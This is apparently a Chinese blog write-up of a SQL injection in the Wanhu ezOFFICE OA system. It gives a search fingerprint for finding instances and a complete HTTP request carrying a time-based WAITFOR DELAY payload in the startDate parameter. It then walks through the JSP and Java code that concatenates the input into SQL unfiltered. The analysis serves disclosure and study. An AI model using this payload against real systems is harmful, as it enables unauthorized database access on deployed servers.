万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。
指纹app:"Wanhu ezOFFICE ERP httpd"
进入页面访问/defaultroot/platform/report/graphreport/graph_include.jsp
该页面,传入相应poc
poc
GET /defaultroot/platform/report/graphreport/graph_include.jsp?id=2&startDate=2022-01-01%2000:00:00.000%27%20as%20datetime)%20group%20by%20t.emp_id,t.empname%20)%20%20s%20group%20by%20empname%20order%20by%20num%20desc%20%20WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
首先根据路由我们进入相关代码页面
GET /defaultroot/platform/report/graphreport/graph_include.jsp
进入到这个graph_include.jsp
页面,我们一步步进行分析
分析:
首先是接受从前端传过来的参数startDate
和enDate
参数后,分别进行参数是否为空的判断,若不为空进行格式化;
然后接受前端传来的id
的值,接受前端来的 order
和group
的值,如果没有值则设为0,同时调用了htmlcode()方法
该方法用于将字符串中的字符转换成 HTML 转义字符。这通常用于防止跨站脚本攻击(XSS)
接着进入到if语句中,构建不同的 SQL 查询语句
分析:
这段 Java 代码是用于处理数据库查询的逻辑。它首先检查 id
是否为空,如果不为空,则尝试从数据库加载一个 GraphReportPO
对象。接着,根据 GraphReportPO
对象的 dataType
和 typeId
属性,构建不同的 SQL 查询语句。
reportType=2时,会根据数据库的类型来进行sql的拼接,会将我们的startDate
和endDate
的值拼接到sql语句
而当reportType为其他值时,并没有这种可以控制参数的sql语句的拼接
若id不为空就会执行db.getDataXML()
方法将sql语句作为参数执行该方法,得到一个xml格数的返回值,接着赋值给graph
进入到getDataXML()方法
分析:
首先调用getDate(dataSQL)
的方法(该方法意思执行sql语句)赋值给list,之后将其他参数进行赋值,接着进行参数的判断、语句的拼接,最后返回XML
我们进入getDate方法中
分析:
它接收一个 String
类型的参数 sql
,实例化一个ParameterGenerator
对象, 调用 EJBProxy
对象的 invoke
方法,实现sql语句的执行,然后返回一个 List
类型的对象。这个方法的目的是执行传入的 SQL 查询语句,并返回查询结果。
该代码全程没有对sql语句进行任何的过滤,只需要我们传入一个id=2的参数,进入根据数据库名称来对sql语句进行赋值(该语句会将startDta、enDate拼接到sql语句中)的if判断中,并且startDta或endDate传入的值是我们恶意的sql语句完成拼接即可实现攻击
12 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!